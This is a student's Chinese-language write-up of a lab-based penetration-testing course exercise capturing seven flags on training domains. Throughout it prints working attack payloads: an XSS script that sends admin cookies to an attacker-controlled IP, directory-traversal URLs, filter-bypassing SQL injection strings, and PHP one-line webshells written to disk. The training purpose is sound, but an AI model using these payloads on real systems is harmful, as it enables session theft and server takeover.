其他分享
首页 > 其他分享> > 渗透测试学习Week3-渗透测试项目实训(一)

渗透测试学习Week3-渗透测试项目实训(一)

作者:互联网

渗透测试项目实训

by 奇安信 (南航大二下暑期卓越班课程) 讲师:zzf

在内网进行

项目初始信息

三个域名

www.qianxin.com
blog.qianxin.com
news.qianxin.com

渗透项目从这三个域名开始着手,企业内部环境需要自行探索

环境拓扑

两台操作机,右侧为靶机

实训任务

登录www.qianxin.com网站后台获取flag1

漏洞发现

网页特点:通过输入框评论文章

xss漏洞测试

<script>alert(1)</script>:xss测试代码插入至评论框(弹出一个内容为1的对话框)

进一步测试

刷新网页,即时看到弹出的效果

测试结果

网站存在存储型xss漏洞

原理简述

提交评论后,数据已经存储到了数据库中,页面会直接刷新并直接到数据库中读取数据库中此页面的评论

漏洞利用

可以通过存储型xss漏洞,获取管理员cookie,从而登录web后台(前提:管理员会访问网站后台评论)

原理和具体利用

管理员浏览留言时,遇到alert语句,只会在管理员端弹出他的cookie;要让管理员执行我们插入的恶意代码时将他的cookie返回到本机;即通过在本机搭建一个web服务器,插入评论的js代码中访问本机的网站,并将对方的cookie作为参数返回

具体代码

python -m SimpleHTTPServer 7777:搭建简单的web服务,此服务开放在7777端口上

<script>windows.open('http://202.1.1.10:7777/?msg='+document.cookie)</script>:恶意代码

该恶意代码被管理员访问后,会将其cookie发送给本地web服务中;202.1.1.10:本机地址;

工具使用

burpsuit

将我们所有访问此网站的cookie替换为管理员的cookie

最终将firefox的所有浏览流量中的cookie值替换了

名词解释

cookie:小块数据;身份验证cookie可以验证用户是否登录以及他们使用哪个账户登录

web服务:(Web Service) 通过网络调用其他网站的资源

xss攻击:注入恶意指令代码到网页,使用户加载并执行恶意制造的网页程序

结果

访问http://www.qianxin.com/admin/:完成以管理员身份登录到后台;获取flag1

小结

通过xss漏洞获取管理员cookie并登录后台从而获取有用信息

通过www.qianxin.com后台目录遍历漏洞,获取服务器tomcat管理页面的账户密码并登录获取flag2

逻辑前提

安装完tomcat时默认不能用,如果要使用需要修改tomcat的安装目录下conf目录中的tomcat_users.xml文件;故应先读取此内容

漏洞发现

管理员页面特点:模板资源下可以列出指定目录下的文件并能修改指定后缀的文件;

选择不同的目录,url没有跳转 --> 列出不同目录的文件可能为POST传参;通过进一步发现就是用户自己控制post参数

目录遍历漏洞测试

程序未实现对../一类的目录跳转符进行过滤导致 Path traversal

http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../../../../

通过../的个数测试出本机中web中间件的根目录中的文件;再通过控制dir内容一起达到任意目录的访问

http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../apache-tomcat-6.0.32

结果

查看文件即可得到账户和密码;登录Tomcat默认管理页面登录获取flag3

小结

通过目录遍历漏洞达到任意目录查看获取有用信息

在www.qianxin.com服务器的c盘根目录获取flag3

漏洞发现

在tomcat管理界面可以上传文件,且限制少

文件上传漏洞

将木马文件打包成war上传即可

获取webshell

访问该木马文件即可获取webshell

小结

通过文件上传漏洞,上传木马从而获取到webshell;访问该服务器目录获取有用信息

通过new.qianxin.com网站某页面存在的SQL注入漏洞获取数据库中的flag4

页面特点:cms

工具使用

wwwscan扫描工具对网站进行扫描得到文件目录;发现有sql目录

漏洞发现

sql目录可以访问;还能改参数 news.qianxin.com/sql/?id=1

SQL注入测试

单引号测试:

http://news.qianxin.com/sql/?id=2'

构造sql注入paylaod:

http://news.qianxin.com/sql/?id=2%0Aand%0A=1 --

根据页面响应判断出存在注入

漏洞利用

名词解释

cms:内容管理系统

wwwscan:网站目录文件批量扫描工具

%0A:空格

%27'(单引号)

uniunionon:复写绕过union关键字过滤

user():用户函数

group_concat(user,id):字符串拼接函数,参数为user和id字段

column_name:字段名

information_schema.columns:允许你获取数据库中所有表和视图的所有列的信息

table_name:表名

小结

通过SQL注入漏洞来获取数据库中的有用信息

登录news.qianxin.com网站,获取网站后台首页的flag5

获取账户密码

在上一个任务中,id=1即admin,构造url同理获取admin密码即可

id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(userid,pwd),4,5,6,7,8,9,10%0Afrom%0Adede_admin%0Awhere%0Aid=1 --%0A--

观测可得密码为MD5加密;解密即可

寻找后台登陆地址

默认dedecms后台登录地址为: /dede/目录

在之前扫出来的目录结果中看到的疑似目录:.com:80/manager/login.php

结果

登录获取flag5

小结

通过SQL注入漏洞来获取数据库中的有用信息,比如后台登陆账户和密码;通过观察网页架构比如cms可获取有用信息

补充

通过SQL注入获取可访问路径的绝对路径:比如单引号引起的报错

apache配置文件位置

select load_file('/etc/apache/conf/httpd.conf') #user() (回显点)改为 load_file函数即可 Windows
select load_file('/etc/httpd/conf/httpd.conf') #Linux

通过SQL注入获取Apache配置文件内容:

id=2%0auniunionon%0Aseleselectct%0A1,2,load_file("/etc/httpd/conf/httpd.conf"),4,5,6,7,8,9,10

通过SQL注入获取shell:

.com/sql/index.php?id=2%0Auniunionon%0Aselselectect%0A1,2,'<?php eval($_POST[123])?>',4,5,6,7,8,9,10%0Ainto%0Aoutfile '/var/www/html/shell.php'--%0A--

防止一句话木马被过滤,使用16进制绕过:

2%0auniunionon%0aselselectect%0a1,2,0x3c3f706870406576616c28245f504f53545b636d645d293b3f3e,4,5,6,7,8,9,10%0ainto%0aoutfile%0a"/var/www/html/test1.php"

读取www.qianxin.com网站配置文件中的flag6

寻找网站配置文件

查找资料可知dedcms的配置文件目录:

dede数据库配置文件路径:/data/common.inc.php

浏览网站后台的文件管理器中寻找相应文件

结果

找到common.inc.php文件;

获取信息:数据库的用户名和密码;ip信息

其他内容

正常情况下web会连接本机的数据库,此时host为127.0.0.1或者localhost这样主机ip改变后不会影响数据库的连接;

若host为具体ip,则可能此ip就是本机ip地址也可能是这个web连接的不是本机数据库,而是另一台机器的;

此时可以进行信息收集

小结

从网站的后台进行信息收集,通过dedcms查找有关有用信息比如dede数据库配置文件,如获取数据库的用户名和密码;相关ip信息

读取news.qianxin.com服务器中/home目录下的flag7

目前情况

已成功登录web后台,但未获取webshell

逻辑前提

要读取/home目录下的文件,需要得到服务器权限,即需要服务器ssh的账户和密码;故此时要先获取webshell并查看其权限,低权限则提权即可

文件上传漏洞

在后台管理页面的文件管理器中存在任意文件上传;此时上传木马再用shell管理软件连接即可获取webshell

一句话木马

<?php eval($_POST[cmd])?>    #参数为cmd,这个随意

后续提权

在Kali中使用Cknife中国菜刀连接shell:java -jar Cknife.jar #启动

打开虚拟终端

id:查看当前webshell的权限 --> uid=48(apache)

故此时为apache权限,尝试读取/home目录下文件 ls -al /home发现对flag7有可读权限

结果

成功读取flag7

小结

通过文件上传漏洞获取网页后台的webshell;根据该shell的权限来判断是否需要进一步提权

小结

标签:测试项目,..,漏洞,渗透,qianxin,获取,实训,com,id
来源: https://www.cnblogs.com/hyq2/p/16491554.html